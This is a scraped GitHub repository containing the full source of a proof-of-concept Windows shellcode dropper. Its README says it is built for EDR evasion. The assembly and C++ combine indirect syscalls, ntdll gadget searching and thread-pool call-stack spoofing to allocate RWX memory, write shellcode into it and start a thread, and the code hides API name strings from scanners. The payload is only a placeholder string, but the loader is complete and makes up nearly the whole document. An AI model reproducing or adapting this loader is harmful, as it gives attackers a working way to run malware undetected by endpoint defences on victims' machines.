Full Code of pard0p/CallstackSpoofingPOC for AI

main 8ee01c3b5c40 cached
8 files
27.3 KB
7.6k tokens
28 symbols
1 requests
Download .txt
Repository: pard0p/CallstackSpoofingPOC
Branch: main
Commit: 8ee01c3b5c40
Files: 8
Total size: 27.3 KB

Directory structure:
gitextract_eqhlfm6d/

├── Assembly.asm
├── Callbacks.h
├── Compiler.bat
├── LICENSE
├── Main.cpp
├── PEB.h
├── README.md
└── Shellcode.h

================================================
FILE CONTENTS
================================================

================================================
FILE: Assembly.asm
================================================
section .data

syscall_ret dq 0000000000000000h
add_rsp_ret dq 0000000000000000h

section .text

global GetSSNByFuncAddress
global Search_For_Syscall_Ret
global Search_For_Add_Rsp_Ret
global NtAllocateVirtualMemory_Callback
global NtCreateThreadEx_Callback
global NtWriteVirtualMemory_Callback

NtAllocateVirtualMemory_Callback:
    sub rsp, 0x78
    mov r15, add_rsp_ret
    mov r15, [r15]
    push r15
    mov rbx, rdx                ; backing up the struct as we are going to stomp rdx
    mov rcx, [rbx]              ; HANDLE ProcessHandle
    mov rdx, [rbx + 0x8]        ; PVOID *BaseAddress
    mov r8, [rbx + 0x10]        ; ULONG_PTR ZeroBits
    mov r9, [rbx + 0x18]        ; PSIZE_T RegionSize
    mov r10, [rbx + 0x24]       ; ULONG Protect
    mov [rsp+0x30], r10         ; stack pointer for 6th arg
    mov r10, [rbx + 0x20]       ; ULONG AllocationType
    mov [rsp+0x28], r10         ; stack pointer for 5th arg
    mov r10, rcx
    mov r15, syscall_ret
    mov r15, [r15]
    mov rax, [rbx + 0x28]
    jmp r15

NtWriteVirtualMemory_Callback:
    sub rsp, 0x78
    mov r15, add_rsp_ret
    mov r15, [r15]
    push r15
    mov rbx, rdx                ; backing up the struct as we are going to stomp rdx
    mov rcx, [rbx]              ; HANDLE ProcessHandle
    mov rdx, [rbx + 0x8]        ; PVOID *address
    mov r8, [rbx + 0x10]        ; PVOID *buffer
    mov r9, [rbx + 0x18]        ; ULONG BytesToWrite
    mov r10, [rbx + 0x20]       ; ULONG BytesWriten
    mov [rsp+0x28], r10         ; stack pointer for 5th arg
    mov r10, rcx
    mov r15, syscall_ret
    mov r15, [r15]
    mov rax, [rbx + 0x28]
    jmp r15

NtCreateThreadEx_Callback:
    sub rsp, 0x78
    mov r15, add_rsp_ret
    mov r15, [r15]
    push r15
    mov rbx, rdx                ; backing up the struct as we are going to stomp rdx
    mov rcx, [rbx]              ; PHANDLE threadH
    mov rdx, [rbx + 0x8]        ; ACCESS_MASK desiredAcess
    mov r8, [rbx + 0x10]        ; PVOID objAttributes
    mov r9, [rbx + 0x18]        ; HANDLE pHandle
    mov r10, [rbx + 0x50]       ; PVOID lpBytesBuffer
    mov [rsp+0x58], r10         ; stack pointer for 11th arg
    mov r10, [rbx + 0x48]       ; SIZE_T sizeOfStackReserve
    mov [rsp+0x50], r10         ; stack pointer for 10th arg
    mov r10, [rbx + 0x40]       ; SIZE_T sizeOfStackCommit
    mov [rsp+0x48], r10         ; stack pointer for 9th arg
    mov r10, [rbx + 0x38]       ; SIZE_T stackZeroBits
    mov [rsp+0x40], r10         ; stack pointer for 8th arg
    mov r10, [rbx + 0x30]       ; ULONG flags
    mov [rsp+0x38], r10         ; stack pointer for 7th arg
    mov r10, [rbx + 0x28]       ; PVOID lpParameter
    mov [rsp+0x30], r10         ; stack pointer for 6th arg
    mov r10, [rbx + 0x20]       ; PVOID lpStartAddress
    mov [rsp+0x28], r10         ; stack pointer for 5th arg
    mov r10, rcx
    mov r15, syscall_ret
    mov r15, [r15]
    mov rax, [rbx + 0x58]
    jmp r15

Search_For_Syscall_Ret:
    ; Search for Syscall + Ret
    mov rdx, rax
    add rdx, 1
    xor rbx, rbx
    xor rcx, rcx
    mov rcx, 00FFFFFF0000000000h
    mov rdi, [rdx]
    and rdi, rcx
    or rbx, rdi
    shr rbx, 28h
    cmp rbx, 1F0FC3h
    jne Search_For_Syscall_Ret + 3h
    mov r15, syscall_ret
    mov [r15], rdx
    xor r15, r15
    ret

Search_For_Add_Rsp_Ret:
    ; Search for add rsp, 78 + Ret
    mov rdx, rax
    add rdx, 1
    xor rbx, rbx
    xor rcx, rcx
    mov rcx, 0000FFFFFFFFFFh
    mov rdi, [rdx]
    and rdi, rcx
    or rbx, rdi
    mov r14, 00C378C48348h
    cmp rbx, r14
    jne Search_For_Add_Rsp_Ret + 3h
    mov r15, add_rsp_ret
    mov [r15], rdx
    ret

GetSSNByFuncAddress:
    mov ebx, 0xB8D18B4C
    mov rdx, 0x0
    mov rax, [rcx]
    cmp eax, ebx
    je GetSSNByFuncAddress + 0x1B
    add rcx, 0x20
    add rdx, 0x1
    jmp GetSSNByFuncAddress + 0xA
    mov rax, [rcx + 0x4]
    sub rax, rdx
    ret


================================================
FILE: Callbacks.h
================================================
#include <windows.h>

/////////////////////
//  CALLBACK ARGS  //
/////////////////////

typedef struct _NTALLOCATEVIRTUALMEMORY_ARGS {
    HANDLE hProcess;
    PVOID* address;
    SIZE_T zeroBits;
    PSIZE_T size;
    ULONG allocationType;
    ULONG permissions;
    DWORD ssn;
} NTALLOCATEVIRTUALMEMORY_ARGS, *PNTALLOCATEVIRTUALMEMORY_ARGS;

typedef struct _NTWRITEVIRTUALMEMORY_ARGS {
    HANDLE hProcess;
    PVOID address;
    PVOID buffer;
    ULONG numberOfBytesToWrite;
    PULONG numberOfBytesWritten;
    DWORD ssn;
} NTWRITEVIRTUALMEMORY_ARGS, * PNTWRITEVIRTUALMEMORY_ARGS;

typedef struct _NTCREATETHREADEX_ARGS {
    PHANDLE threadHandle;        // Pointer to a variable that receives a handle to the new thread
    ACCESS_MASK desiredAccess;   // Desired access to the thread
    PVOID objectAttributes;      // Pointer to an OBJECT_ATTRIBUTES structure that specifies the object's attributes
    HANDLE processHandle;        // Handle to the process in which the thread is to be created
    PVOID lpStartAddress;        // Pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread
    PVOID lpParameter;           // Pointer to a variable to be passed to the thread
    ULONG flags;                 // Flags that control the creation of the thread
    SIZE_T stackZeroBits;        // A pointer to a variable that specifies the number of high-order address bits that must be zero in the stack pointer
    SIZE_T sizeOfStackCommit;    // The size of the stack that must be committed at thread creation
    SIZE_T sizeOfStackReserve;   // The size of the stack that must be reserved at thread creation
    PVOID lpBytesBuffer;         // Pointer to a variable that receives any output data from the system
    DWORD ssn;                   // SSN
} NTCREATETHREADEX_ARGS, * PNTCREATETHREADEX_ARGS;

//////////////////////////
//  ASSEMBLY FUNCTIONS  //
//////////////////////////

extern "C" void Search_For_Syscall_Ret(
    HANDLE ntdllHandle
);

extern "C" void Search_For_Add_Rsp_Ret(
    HANDLE ntdllHandle
);

extern "C" void NtAllocateVirtualMemory_Callback(
    PTP_CALLBACK_INSTANCE Instance,
    PVOID Context,
    PTP_WORK Work
);

extern "C" void NtWriteVirtualMemory_Callback(
    PTP_CALLBACK_INSTANCE Instance,
    PVOID Context,
    PTP_WORK Work
);

extern "C" void NtCreateThreadEx_Callback(
    PTP_CALLBACK_INSTANCE Instance,
    PVOID Context,
    PTP_WORK Work
);


================================================
FILE: Compiler.bat
================================================
@ECHO OFF

nasm -f win64 .\Assembly.asm -o .\Assembly.obj
g++ -o poc.exe main.cpp Assembly.obj
del *.obj


================================================
FILE: LICENSE
================================================
MIT License

Copyright (c) 2023 pard0p

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


================================================
FILE: Main.cpp
================================================
#include "Callbacks.h"
#include "Shellcode.h"
#include "PEB.h"
#include <iostream>

//Definition of the Windows Thread Pooling functions
typedef NTSTATUS(NTAPI* TPALLOCWORK)(PTP_WORK* ptpWrk, PTP_WORK_CALLBACK pfnwkCallback, PVOID OptionalArg, PTP_CALLBACK_ENVIRON CallbackEnvironment);
typedef VOID(NTAPI* TPPOSTWORK)(PTP_WORK);
typedef VOID(NTAPI* TPRELEASEWORK)(PTP_WORK);

FARPROC pTpAllocWork;
FARPROC pTpPostWork;
FARPROC pTpReleaseWork;

/////////////////////////
//  GENERAL FUNCTIONS  //
/////////////////////////

HMODULE hNtdll;

extern "C" DWORD GetSSNByFuncAddress(HANDLE functionAddress);

HMODULE GetNtdllHandle() {
    #if defined(_WIN64)
        PPEB Peb = (PPEB)__readgsqword(0x60);
    #else
        PPEB Peb = (PPEB)__readfsdword(0x30);
    #endif

    PLDR_MODULE pLoadModule;
    pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 16);

    return (HMODULE)pLoadModule->BaseAddress;
}

PIMAGE_EXPORT_DIRECTORY GetExportTableAddress(HMODULE ImageBase) {
    uintptr_t baseAddress = reinterpret_cast<uintptr_t>(ImageBase);

    uintptr_t dosHeaderAddr = baseAddress;
    IMAGE_DOS_HEADER* dosHeader = reinterpret_cast<IMAGE_DOS_HEADER*>(dosHeaderAddr);

    uintptr_t peHeaderAddr = baseAddress + dosHeader->e_lfanew;
    IMAGE_NT_HEADERS* ntHeader = reinterpret_cast<IMAGE_NT_HEADERS*>(peHeaderAddr);

    IMAGE_EXPORT_DIRECTORY* exportDir = reinterpret_cast<IMAGE_EXPORT_DIRECTORY*>(
        baseAddress + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    return (PIMAGE_EXPORT_DIRECTORY)exportDir;
}

HANDLE GetExportFunctionAddress(HMODULE moduleHandle, PIMAGE_EXPORT_DIRECTORY exportDir, const char* functionName) {
    uintptr_t baseAddress = reinterpret_cast<uintptr_t>(moduleHandle);
    DWORD* addressOfFunctions = reinterpret_cast<DWORD*>(baseAddress + exportDir->AddressOfFunctions);
    DWORD numberOfFunctions = exportDir->NumberOfFunctions;

    DWORD* addressOfNameOrdinals = reinterpret_cast<DWORD*>(baseAddress + exportDir->AddressOfNameOrdinals);
    DWORD* addressOfNames = reinterpret_cast<DWORD*>(baseAddress + exportDir->AddressOfNames);

    uintptr_t functionAddress = 0;

    for (DWORD i = 0; i < numberOfFunctions; ++i) {
        const char* currentFunctionName = nullptr;

        if (i < exportDir->NumberOfNames) {
            currentFunctionName = reinterpret_cast<const char*>(baseAddress + addressOfNames[i]);
        }

        functionAddress = baseAddress + addressOfFunctions[i+1];

        if (currentFunctionName && strcmp(currentFunctionName, functionName) == 0) {
            functionAddress = functionAddress;
            return (HANDLE)functionAddress;
        }
    }

    return (HANDLE)-1;
}

DWORD GetSSN(const char* functionName) {
    //1. Get a HANDLE to the NTDLL.
    HMODULE hNtdll = GetNtdllHandle();

    //2. Get NTDLL's export table.
    PIMAGE_EXPORT_DIRECTORY exportTable = GetExportTableAddress(hNtdll);

    //3. Get the NTDLL's function address by its name.
    HANDLE functionAddress = GetExportFunctionAddress(hNtdll, exportTable, functionName);

    //4. Get the Syscall number.
    DWORD SSN = GetSSNByFuncAddress(functionAddress);

    return SSN;
}

VOID initVariables() {
    unsigned char sNtdll[] = { 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0x0 };
    //hNtdll = GetModuleHandleA((LPCSTR)sNtdll);
    hNtdll = GetNtdllHandle();

    Search_For_Syscall_Ret(hNtdll);
    Search_For_Add_Rsp_Ret(hNtdll);

    unsigned char sTpAllocWork[] = { 'T', 'p', 'A', 'l', 'l', 'o', 'c', 'W', 'o', 'r', 'k' , 0x0 };
    pTpAllocWork = GetProcAddress(hNtdll, (LPCSTR)sTpAllocWork);

    unsigned char sTpPostWork[] = { 'T', 'p', 'P', 'o', 's', 't', 'W', 'o', 'r', 'k' , 0x0 };
    pTpPostWork = GetProcAddress(hNtdll, (LPCSTR)sTpPostWork);

    unsigned char sTpReleaseWork[] = { 'T', 'p', 'R', 'e', 'l', 'e', 'a', 's', 'e', 'W', 'o', 'r', 'k', 0x0 };
    pTpReleaseWork = GetProcAddress(hNtdll, (LPCSTR)sTpReleaseWork);
}

VOID setCallback(PTP_WORK_CALLBACK callback, PVOID args) {
    PTP_WORK WorkReturn = NULL;
    ((TPALLOCWORK)pTpAllocWork)(&WorkReturn, (PTP_WORK_CALLBACK)callback, args, NULL);
    ((TPPOSTWORK)pTpPostWork)(WorkReturn);
    ((TPRELEASEWORK)pTpReleaseWork)(WorkReturn);
    WaitForSingleObject((HANDLE)-1, 0x1000);
}

/////////////////////////
//  NTDLL'S FUNCTIONS  //
/////////////////////////

PVOID NtAllocateVirtualMemory(HANDLE hProcess) {
    PVOID allocatedAddress = NULL;
    SIZE_T allocatedsize = 0x1000;

    NTALLOCATEVIRTUALMEMORY_ARGS ntAllocateVirtualMemoryArgs = { 0 };
    ntAllocateVirtualMemoryArgs.hProcess = hProcess;
    ntAllocateVirtualMemoryArgs.address = &allocatedAddress;
    ntAllocateVirtualMemoryArgs.zeroBits = 0;
    ntAllocateVirtualMemoryArgs.size = &allocatedsize;
    ntAllocateVirtualMemoryArgs.allocationType = (MEM_RESERVE | MEM_COMMIT);
    ntAllocateVirtualMemoryArgs.permissions = PAGE_EXECUTE_READWRITE;
    ntAllocateVirtualMemoryArgs.ssn = GetSSN("NtAllocateVirtualMemory");

    setCallback((PTP_WORK_CALLBACK)NtAllocateVirtualMemory_Callback, &ntAllocateVirtualMemoryArgs);

    return allocatedAddress;
}

VOID NtWriteVirtualMemory(HANDLE hProcess, PVOID allocatedAddress, PULONG bytesWritten) {
    NTWRITEVIRTUALMEMORY_ARGS ntWriteVirtualMemoryArgs = { 0 };
    ntWriteVirtualMemoryArgs.hProcess = hProcess;
    ntWriteVirtualMemoryArgs.address = allocatedAddress;
    ntWriteVirtualMemoryArgs.buffer = code;
    ntWriteVirtualMemoryArgs.numberOfBytesToWrite = sizeof(code);
    ntWriteVirtualMemoryArgs.numberOfBytesWritten = bytesWritten;
    ntWriteVirtualMemoryArgs.ssn = GetSSN("NtWriteVirtualMemory");

    //std::cout << "Test 0x" << std::hex << ntWriteVirtualMemoryArgs.ssn << std::endl;

    setCallback((PTP_WORK_CALLBACK)NtWriteVirtualMemory_Callback, &ntWriteVirtualMemoryArgs);
}

VOID NtCreateThreadEx(HANDLE hProcess, HANDLE hThread, PVOID allocatedAddress) {
    NTCREATETHREADEX_ARGS ntCreateThreadExArgs = { 0 };
    ntCreateThreadExArgs.threadHandle = &hThread;
    ntCreateThreadExArgs.desiredAccess = GENERIC_EXECUTE;
    ntCreateThreadExArgs.objectAttributes = NULL;
    ntCreateThreadExArgs.processHandle = hProcess;
    ntCreateThreadExArgs.lpStartAddress = allocatedAddress;
    ntCreateThreadExArgs.lpParameter = NULL;
    ntCreateThreadExArgs.flags = FALSE;
    ntCreateThreadExArgs.stackZeroBits = 0;
    ntCreateThreadExArgs.sizeOfStackCommit = 0;
    ntCreateThreadExArgs.sizeOfStackReserve = 0;
    ntCreateThreadExArgs.lpBytesBuffer = NULL;
    ntCreateThreadExArgs.ssn = GetSSN("NtCreateThreadEx");

    setCallback((PTP_WORK_CALLBACK)NtCreateThreadEx_Callback, &ntCreateThreadExArgs);
}

////////////
//  MAIN  //
////////////

int main() {
    initVariables();

    //HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, <PID>);
    HANDLE hProcess = (HANDLE)-1;

    std::cout << "[*] Executing NtAllocateVirtualMemory..." << std::endl;
    PVOID allocatedAddress = NtAllocateVirtualMemory(hProcess);
    std::cout << "\t[+] Allocated at: 0x" << allocatedAddress << std::endl;

    ULONG writenSize = 0;
    std::cout << "[*] Executing NtWriteVirtualMemory..." << std::endl;
    NtWriteVirtualMemory(hProcess, allocatedAddress, &writenSize);

    HANDLE hThread = NULL;
    std::cout << "[*] Executing NtCreateThreadEx..." << std::endl;
    NtCreateThreadEx(hProcess, hThread, allocatedAddress);

    //WaitForSingleObject(hThread, 0x1000);

    return 0;
}


================================================
FILE: PEB.h
================================================
#pragma once
#include <Windows.h>

/*--------------------------------------------------------------------
  STRUCTURES
--------------------------------------------------------------------*/
typedef struct _LSA_UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR;

typedef struct _LDR_MODULE {
	LIST_ENTRY              InLoadOrderModuleList;
	LIST_ENTRY              InMemoryOrderModuleList;
	LIST_ENTRY              InInitializationOrderModuleList;
	PVOID                   BaseAddress;
	PVOID                   EntryPoint;
	ULONG                   SizeOfImage;
	UNICODE_STRING          FullDllName;
	UNICODE_STRING          BaseDllName;
	ULONG                   Flags;
	SHORT                   LoadCount;
	SHORT                   TlsIndex;
	LIST_ENTRY              HashTableEntry;
	ULONG                   TimeDateStamp;
} LDR_MODULE, * PLDR_MODULE;

typedef struct _PEB_LDR_DATA {
	ULONG                   Length;
	ULONG                   Initialized;
	PVOID                   SsHandle;
	LIST_ENTRY              InLoadOrderModuleList;
	LIST_ENTRY              InMemoryOrderModuleList;
	LIST_ENTRY              InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;

typedef struct _PEB {
	BOOLEAN                 InheritedAddressSpace;
	BOOLEAN                 ReadImageFileExecOptions;
	BOOLEAN                 BeingDebugged;
	BOOLEAN                 Spare;
	HANDLE                  Mutant;
	PVOID                   ImageBase;
	PPEB_LDR_DATA           LoaderData;
	PVOID                   ProcessParameters;
	PVOID                   SubSystemData;
	PVOID                   ProcessHeap;
	PVOID                   FastPebLock;
	PVOID                   FastPebLockRoutine;
	PVOID                   FastPebUnlockRoutine;
	ULONG                   EnvironmentUpdateCount;
	PVOID* KernelCallbackTable;
	PVOID                   EventLogSection;
	PVOID                   EventLog;
	PVOID                   FreeList;
	ULONG                   TlsExpansionCounter;
	PVOID                   TlsBitmap;
	ULONG                   TlsBitmapBits[0x2];
	PVOID                   ReadOnlySharedMemoryBase;
	PVOID                   ReadOnlySharedMemoryHeap;
	PVOID* ReadOnlyStaticServerData;
	PVOID                   AnsiCodePageData;
	PVOID                   OemCodePageData;
	PVOID                   UnicodeCaseTableData;
	ULONG                   NumberOfProcessors;
	ULONG                   NtGlobalFlag;
	BYTE                    Spare2[0x4];
	LARGE_INTEGER           CriticalSectionTimeout;
	ULONG                   HeapSegmentReserve;
	ULONG                   HeapSegmentCommit;
	ULONG                   HeapDeCommitTotalFreeThreshold;
	ULONG                   HeapDeCommitFreeBlockThreshold;
	ULONG                   NumberOfHeaps;
	ULONG                   MaximumNumberOfHeaps;
	PVOID** ProcessHeaps;
	PVOID                   GdiSharedHandleTable;
	PVOID                   ProcessStarterHelper;
	PVOID                   GdiDCAttributeList;
	PVOID                   LoaderLock;
	ULONG                   OSMajorVersion;
	ULONG                   OSMinorVersion;
	ULONG                   OSBuildNumber;
	ULONG                   OSPlatformId;
	ULONG                   ImageSubSystem;
	ULONG                   ImageSubSystemMajorVersion;
	ULONG                   ImageSubSystemMinorVersion;
	ULONG                   GdiHandleBuffer[0x22];
	ULONG                   PostProcessInitRoutine;
	ULONG                   TlsExpansionBitmap;
	BYTE                    TlsExpansionBitmapBits[0x80];
	ULONG                   SessionId;
} PEB, * PPEB;

typedef struct __CLIENT_ID {
	HANDLE UniqueProcess;
	HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;

typedef struct _TEB_ACTIVE_FRAME_CONTEXT {
	ULONG Flags;
	PCHAR FrameName;
} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT;

typedef struct _TEB_ACTIVE_FRAME {
	ULONG Flags;
	struct _TEB_ACTIVE_FRAME* Previous;
	PTEB_ACTIVE_FRAME_CONTEXT Context;
} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME;

typedef struct _GDI_TEB_BATCH {
	ULONG Offset;
	ULONG HDC;
	ULONG Buffer[310];
} GDI_TEB_BATCH, * PGDI_TEB_BATCH;

typedef PVOID PACTIVATION_CONTEXT;

typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME {
	struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous;
	PACTIVATION_CONTEXT ActivationContext;
	ULONG Flags;
} RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME;

typedef struct _ACTIVATION_CONTEXT_STACK {
	PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame;
	LIST_ENTRY FrameListCache;
	ULONG Flags;
	ULONG NextCookieSequenceNumber;
	ULONG StackId;
} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK;

typedef struct _TEB {
	NT_TIB				NtTib;
	PVOID				EnvironmentPointer;
	CLIENT_ID			ClientId;
	PVOID				ActiveRpcHandle;
	PVOID				ThreadLocalStoragePointer;
	PPEB				ProcessEnvironmentBlock;
	ULONG               LastErrorValue;
	ULONG               CountOfOwnedCriticalSections;
	PVOID				CsrClientThread;
	PVOID				Win32ThreadInfo;
	ULONG               User32Reserved[26];
	ULONG               UserReserved[5];
	PVOID				WOW32Reserved;
	LCID                CurrentLocale;
	ULONG               FpSoftwareStatusRegister;
	PVOID				SystemReserved1[54];
	LONG                ExceptionCode;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
	PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer;
	UCHAR                  SpareBytes1[0x30 - 3 * sizeof(PVOID)];
	ULONG                  TxFsContext;
#elif (NTDDI_VERSION >= NTDDI_WS03)
	PACTIVATION_CONTEXT_STACK ActivationContextStackPointer;
	UCHAR                  SpareBytes1[0x34 - 3 * sizeof(PVOID)];
#else
	ACTIVATION_CONTEXT_STACK ActivationContextStack;
	UCHAR                  SpareBytes1[24];
#endif
	GDI_TEB_BATCH			GdiTebBatch;
	CLIENT_ID				RealClientId;
	PVOID					GdiCachedProcessHandle;
	ULONG                   GdiClientPID;
	ULONG                   GdiClientTID;
	PVOID					GdiThreadLocalInfo;
	PSIZE_T					Win32ClientInfo[62];
	PVOID					glDispatchTable[233];
	PSIZE_T					glReserved1[29];
	PVOID					glReserved2;
	PVOID					glSectionInfo;
	PVOID					glSection;
	PVOID					glTable;
	PVOID					glCurrentRC;
	PVOID					glContext;
	NTSTATUS                LastStatusValue;
	UNICODE_STRING			StaticUnicodeString;
	WCHAR                   StaticUnicodeBuffer[261];
	PVOID					DeallocationStack;
	PVOID					TlsSlots[64];
	LIST_ENTRY				TlsLinks;
	PVOID					Vdm;
	PVOID					ReservedForNtRpc;
	PVOID					DbgSsReserved[2];
#if (NTDDI_VERSION >= NTDDI_WS03)
	ULONG                   HardErrorMode;
#else
	ULONG                  HardErrorsAreDisabled;
#endif
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
	PVOID					Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)];
	GUID                    ActivityId;
	PVOID					SubProcessTag;
	PVOID					EtwLocalData;
	PVOID					EtwTraceData;
#elif (NTDDI_VERSION >= NTDDI_WS03)
	PVOID					Instrumentation[14];
	PVOID					SubProcessTag;
	PVOID					EtwLocalData;
#else
	PVOID					Instrumentation[16];
#endif
	PVOID					WinSockData;
	ULONG					GdiBatchCount;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
	BOOLEAN                SpareBool0;
	BOOLEAN                SpareBool1;
	BOOLEAN                SpareBool2;
#else
	BOOLEAN                InDbgPrint;
	BOOLEAN                FreeStackOnTermination;
	BOOLEAN                HasFiberData;
#endif
	UCHAR                  IdealProcessor;
#if (NTDDI_VERSION >= NTDDI_WS03)
	ULONG                  GuaranteedStackBytes;
#else
	ULONG                  Spare3;
#endif
	PVOID				   ReservedForPerf;
	PVOID				   ReservedForOle;
	ULONG                  WaitingOnLoaderLock;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
	PVOID				   SavedPriorityState;
	ULONG_PTR			   SoftPatchPtr1;
	ULONG_PTR			   ThreadPoolData;
#elif (NTDDI_VERSION >= NTDDI_WS03)
	ULONG_PTR			   SparePointer1;
	ULONG_PTR              SoftPatchPtr1;
	ULONG_PTR              SoftPatchPtr2;
#else
	Wx86ThreadState        Wx86Thread;
#endif
	PVOID* TlsExpansionSlots;
#if defined(_WIN64) && !defined(EXPLICIT_32BIT)
	PVOID                  DeallocationBStore;
	PVOID                  BStoreLimit;
#endif
	ULONG                  ImpersonationLocale;
	ULONG                  IsImpersonating;
	PVOID                  NlsCache;
	PVOID                  pShimData;
	ULONG                  HeapVirtualAffinity;
	HANDLE                 CurrentTransactionHandle;
	PTEB_ACTIVE_FRAME      ActiveFrame;
#if (NTDDI_VERSION >= NTDDI_WS03)
	PVOID FlsData;
#endif
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
	PVOID PreferredLangauges;
	PVOID UserPrefLanguages;
	PVOID MergedPrefLanguages;
	ULONG MuiImpersonation;
	union
	{
		struct
		{
			USHORT SpareCrossTebFlags : 16;
		};
		USHORT CrossTebFlags;
	};
	union
	{
		struct
		{
			USHORT DbgSafeThunkCall : 1;
			USHORT DbgInDebugPrint : 1;
			USHORT DbgHasFiberData : 1;
			USHORT DbgSkipThreadAttach : 1;
			USHORT DbgWerInShipAssertCode : 1;
			USHORT DbgIssuedInitialBp : 1;
			USHORT DbgClonedThread : 1;
			USHORT SpareSameTebBits : 9;
		};
		USHORT SameTebFlags;
	};
	PVOID TxnScopeEntercallback;
	PVOID TxnScopeExitCAllback;
	PVOID TxnScopeContext;
	ULONG LockCount;
	ULONG ProcessRundown;
	ULONG64 LastSwitchTime;
	ULONG64 TotalSwitchOutTime;
	LARGE_INTEGER WaitReasonBitMap;
#else
	BOOLEAN SafeThunkCall;
	BOOLEAN BooleanSpare[3];
#endif
} TEB, * PTEB;

typedef struct _LDR_DATA_TABLE_ENTRY {
	LIST_ENTRY InLoadOrderLinks;
	LIST_ENTRY InMemoryOrderLinks;
	LIST_ENTRY InInitializationOrderLinks;
	PVOID DllBase;
	PVOID EntryPoint;
	ULONG SizeOfImage;
	UNICODE_STRING FullDllName;
	UNICODE_STRING BaseDllName;
	ULONG Flags;
	WORD LoadCount;
	WORD TlsIndex;
	union {
		LIST_ENTRY HashLinks;
		struct {
			PVOID SectionPointer;
			ULONG CheckSum;
		};
	};
	union {
		ULONG TimeDateStamp;
		PVOID LoadedImports;
	};
	PACTIVATION_CONTEXT EntryPointActivationContext;
	PVOID PatchInformation;
	LIST_ENTRY ForwarderLinks;
	LIST_ENTRY ServiceTagLinks;
	LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;

typedef struct _OBJECT_ATTRIBUTES {
	ULONG Length;
	PVOID RootDirectory;
	PUNICODE_STRING ObjectName;
	ULONG Attributes;
	PVOID SecurityDescriptor;
	PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _INITIAL_TEB {
	PVOID                StackBase;
	PVOID                StackLimit;
	PVOID                StackCommit;
	PVOID                StackCommitMax;
	PVOID                StackReserved;
} INITIAL_TEB, * PINITIAL_TEB;

================================================
FILE: README.md
================================================
# Callstack spoofing + Indirect Syscalls POC
This project consists of a simple C++ self-Injecting dropper focused on EDR evasion POC. To implement it, I have combined the use of  **``Windows Thread Pooling``**  to hide the call stack and the use of  **``indirect syscalls``**  to avoid hooking in the NTDLL.
<br>

![2023-10-08-23-22-35-Trim](https://github.com/pard0p/Cordyceps/assets/79936108/060db2ad-2c02-4501-bc86-5be0cff78711)

![image](https://github.com/pard0p/Cordyceps/assets/79936108/231e3722-9190-4846-88d9-66870acb7eb2)

![image](https://github.com/pard0p/Cordyceps/assets/79936108/742dee9c-7c91-41cb-9dd9-4a22985bfc5b)

![image](https://github.com/pard0p/Cordyceps/assets/79936108/aeefb8d2-cf8a-4d79-969a-7e195e878731)

![image](https://github.com/pard0p/Cordyceps/assets/79936108/eac6158f-f1f6-41f7-878f-2c1333a06b54)

As can be seen in the images, from the Cordyceps code, it performs a jump to ntdll to utilize one of the syscall instructions. This should be considered a malicious action; however, upon executing the return in ntdll, we return to the code of tpWorker, which is located within ntdll. Thus, from the perspective of the antivirus (AV), ntdll would appear to be making a call to another part of ntdll, which is not considered malicious.

## Future Upgrades:
- [x] Implement a mechanism to automatically search for the syscall number.
- [ ] In-memory payload decryption.

## To compile:

```bash
nasm -f win64 .\Assembly.asm -o .\Assembly.obj
g++ -o poc.exe main.cpp Assembly.obj
```

## Resources:

https://0xdarkvortex.dev/hiding-in-plainsight/

https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls

https://captmeelo.com/redteam/maldev/2022/05/10/ntcreateuserprocess.html

https://klezvirus.github.io/RedTeaming/AV_Evasion/StackSpoofing/

https://medium.com/@sruthk/cracking-assembly-fastcall-calling-convention-in-x64-c6d77b51ea86


================================================
FILE: Shellcode.h
================================================
unsigned char code[] = " --- SHELCODE ---";
Download .txt
gitextract_eqhlfm6d/

